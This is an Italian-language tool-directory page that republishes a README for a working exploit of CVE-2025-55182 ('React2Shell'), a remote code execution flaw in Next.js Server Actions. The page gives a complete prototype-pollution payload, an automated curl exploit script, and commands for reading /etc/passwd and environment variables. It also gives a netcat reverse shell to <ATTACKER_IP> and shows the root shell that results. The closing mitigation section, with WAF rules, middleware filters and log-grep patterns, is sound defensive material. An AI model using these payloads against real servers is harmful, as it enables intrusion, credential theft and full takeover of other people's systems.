Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
react2shell-exploit — CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano React Server Components (RSC) e Server Actions. | Kitploit
Strumenti/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano React Server Components (RSC) e Server Actions.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
3 mesi faNon ancora revisionato

CVE-2025-55182 – React2Shell

Esecuzione remota di codice in Next.js

⚠️ Disclaimer: Questa documentazione è fornita solo a scopo educativo e di ricerca sulla sicurezza. Qualsiasi uso non autorizzato di queste tecniche contro sistemi che non possiedi o per i quali non hai un permesso esplicito di test è illegale.


📋 Indice

  1. Panoramica
  2. Come funziona
  3. Installazione e configurazione
  4. Sfruttamento passo-passo
  5. Risultati e impatto
  6. Strategie di mitigazione

Panoramica

CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano:

  • React Server Components (RSC)
  • Server Actions

Perché è pericolosa?

Un attaccante può ottenere Remote Code Execution (RCE) sul server sfruttando:

  1. Deserializzazione non sicura dei payload RSC
  2. Prototype pollution tramite __proto__ e constructor
  3. Percorsi di esecuzione dinamici nel runtime server di Next.js

Conseguenza: È possibile eseguire comandi di sistema arbitrari con i privilegi del processo Node.js.


Come funziona

Fase 1: Protocollo RSC di Next.js

Next.js utilizza un protocollo proprietario multipart/form-data per comunicare tra client e server:

  • Il client invia React Server Components al server
  • Il server li deserializza e li elabora
  • Il risultato viene restituito al client
root@kitploit:~
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

Fase 2: Il punto debole – Deserializzazione non sicura

La vulnerabilità esiste perché:

  1. I dati controllati dall'utente non vengono validati prima della deserializzazione
  2. L'accesso alla catena dei prototipi è consentito (__proto__, constructor)
  3. Alcuni campi vengono valutati dinamicamente durante l'elaborazione della richiesta

Fase 3: Attacco di prototype pollution

Un attaccante può creare un payload che modifica le proprietà interne degli oggetti:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

Sfruttando __proto__, l'attaccante inquina il prototipo degli oggetti JavaScript, influenzando tutti gli oggetti che ne ereditano.

Fase 4: Iniezione di codice

All'interno del campo _prefix, l'attaccante inietta codice JavaScript che:

  1. Accede al modulo Node.js tramite process.mainModule.require()
  2. Carica il modulo child_process
  3. Esegue comandi di sistema usando execSync()
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Fase 5: Estrazione del risultato

Il risultato del comando viene nascosto nella risposta di errore:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js restituisce questo errore al client e l'output del comando è visibile nel campo digest.


Installazione e configurazione

Prerequisiti

  • Node.js 20
  • Burp Suite (o uno strumento simile per l'intercettazione delle richieste)
  • curl o Postman (per inviare i payload)

Passaggio 1: Clonare e installare il server vulnerabile

root@kitploit:~
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

Passaggio 2: Avviare il server

root@kitploit:~
npm run dev

Il server è ora accessibile all'indirizzo:

root@kitploit:~
http://localhost:3000

Passaggio 3: Verificare che il server sia in esecuzione

root@kitploit:~
curl http://localhost:3000/

In questa fase, il server si comporta normalmente.


Sfruttamento passo-passo

Approccio 1: Utilizzo di Burp Suite (intercettazione manuale)

Passaggio 1: Abilitare l'intercettazione

  1. Apri Burp Suite
  2. Vai alla scheda Proxy → Intercept
  3. Attiva Intercept is on
  4. Accedi a http://localhost:3000/ nel browser

Passaggio 2: Intercettare la richiesta

Verrà intercettata una richiesta GET. Inviala alla scheda Repeater:

  1. Tasto destro → Send to Repeater
  2. Vai alla scheda Repeater

Passaggio 3: Sostituire con il payload malevolo

Sostituisci l'intera richiesta con il seguente payload:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Passaggio 4: Inviare la richiesta

Clicca su Send


Approccio 2: Script di sfruttamento automatizzato

Crea un file exploit.sh:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Rendilo eseguibile:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Comandi di esempio

Elenca file e directory

root@kitploit:~
COMMAND="ls -la /"

Ottieni l'utente corrente

root@kitploit:~
COMMAND="whoami"

Leggi un file

root@kitploit:~
COMMAND="cat /etc/passwd"

Controlla le connessioni di rete

root@kitploit:~
COMMAND="netstat -tuln"

Ottieni le variabili d'ambiente

root@kitploit:~
COMMAND="env"

Reverse shell (accesso completo al server)

Per ottenere un accesso completo alla shell interattiva, usa una reverse shell.

Sulla macchina dell'attaccante: mettiti in ascolto

root@kitploit:~
ncat -lvnp 9009

Oppure con netcat:

root@kitploit:~
nc -lvnp 9009

Sul target: invia il payload di reverse shell

Modifica il payload con il seguente comando (sostituisci <ATTACKER_IP> con il tuo indirizzo IP):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

Il payload completo diventa:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Risultato atteso

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Ora hai una shell completamente interattiva sul server target.


Risultati e impatto

Risposta del server

Dopo uno sfruttamento riuscito:

  1. Il server risponde con un errore HTTP 500 Internal Server Error
  2. Il corpo della risposta contiene l'output del comando di sistema eseguito
  3. L'output è incorporato nel campo digest all'interno della risposta di errore

Risposta di esempio

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impatti potenziali

  • 🔥 Esecuzione remota di codice (RCE) totale
  • 📂 Accesso completo al filesystem
  • 🔐 Furto di credenziali e segreti
  • 🚨 Movimento laterale all'interno delle reti interne
  • 💥 Compromissione totale del server
  • 🔗 Attacchi alla supply chain (se usati per compromettere applicazioni distribuite)
  • 📊 Esfiltrazione e manipolazione dei dati

Strategie di mitigazione

Per gli amministratori di sistema

1. Aggiorna subito Next.js

root@kitploit:~
npm install next@latest

Assicurati di eseguire una versione patchata di Next.js. Controlla gli advisory di sicurezza ufficiali.

2. Validazione rigorosa dei payload RSC

Aggiungi una validazione rigorosa dei payload RSC in entrata:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Reject suspicious payloads
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Block payloads containing dangerous patterns
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. Disabilita le Server Actions se non necessarie

In next.config.js:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Disable if not needed
    }
  }
};

4. Esegui Node.js con privilegi minimi

root@kitploit:~
# Create a dedicated user
useradd -r -s /bin/false nextjs

# Run the service under this user
sudo -u nextjs node server.js

# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. Isolamento del container con capacità ridotte

Usa Docker con capacità ristrette:

root@kitploit:~
FROM node:20-alpine

# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

Esegui il container con capacità ristrette:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. Monitora le richieste sospette

Implementa una registrazione completa:

root@kitploit:~
// Custom logging middleware
app.use((req, res, next) => {
  // Log all POST requests with Next-Action header
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alert security team
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

7. Implementa un Web Application Firewall (WAF)

Configura il tuo WAF per bloccare:

Regole ModSecurity:

root@kitploit:~
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"

Esempio AWS WAF:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

8. Intestazioni Content Security Policy (CSP)

Sebbene la CSP protegga principalmente il lato client, è una buona pratica:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. Audit di sicurezza regolari

root@kitploit:~
# Scan dependencies for vulnerabilities
npm audit
npm audit fix

# Use snyk for continuous monitoring
snyk monitor

# Regular penetration testing
# Schedule quarterly security assessments

10. Piano di risposta agli incidenti

Se sospetti uno sfruttamento:

root@kitploit:~
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Check network connections
netstat -tuln
lsof -i -P -n

# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP

# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notify your security team and apply patches

Approfondimento tecnico

Analisi del payload

root@kitploit:~
{
  // Step 1: Target the prototype chain
  "then": "$1:__proto__:then",
  
  // Step 2: Mark as resolved model
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Step 3: Inject code through _response
  "_response": {
    // The injected JavaScript code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Reference to form data
    "_chunks": "$Q2",
    
    // Access constructor through form data
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Perché funziona

  1. Parsing multipart: Next.js analizza i dati multipart del form
  2. Risoluzione dei riferimenti: Riferimenti come $1 vengono risolti in altri campi del form
  3. Ricostruzione degli oggetti: Gli oggetti vengono ricostruiti dai dati analizzati
  4. Prototype pollution: Il percorso __proto__ modifica il prototipo degli oggetti
  5. Esecuzione del codice: Il campo _prefix viene valutato durante la gestione degli errori
  6. Esecuzione dei comandi: execSync esegue il comando arbitrario
  7. Esfiltrazione del risultato: L'output è incorporato nel digest dell'errore

Risorse aggiuntive

  • PoC originale: https://github.com/msanft/CVE-2025-55182/
  • Documentazione sulla sicurezza di Next.js: https://nextjs.org/docs/security
  • OWASP Prototype Pollution: https://owasp.org/www-community/attacks/Prototype_pollution
  • Best practice di sicurezza per Node.js: https://nodejs.org/en/docs/guides/security/
  • CWE-502: Deserializzazione di dati non attendibili: https://cwe.mitre.org/data/definitions/502.html

Conclusione

CVE-2025-55182 (React2Shell) dimostra i rischi critici associati a:

✅ Deserializzazione non sicura dei dati controllati dall'utente ✅ Prototype pollution nelle catene di prototipi JavaScript ✅ Esecuzione dinamica del codice senza una corretta validazione

Questa vulnerabilità sottolinea l'importanza di:

  • 🔒 Validazione degli input: non fidarti mai dell'input utente
  • 🛡️ Difesa in profondità: usa più livelli di protezione
  • ⚠️ Mantenere aggiornati i framework: applica subito le patch di sicurezza
  • 🔍 Monitoraggio e logging: rileva comportamenti sospetti
  • 🔐 Principio del minimo privilegio: esegui i servizi con permessi minimi
  • 🧪 Test di sicurezza regolari: conduci audit e test di penetrazione

Licenza: Solo uso educativo - L'accesso non autorizzato a sistemi informatici è illegale.

Per una ricerca di sicurezza legittima e test autorizzati, assicurati di avere il permesso scritto del proprietario del sistema prima di condurre qualsiasi test.

Scarica lo strumento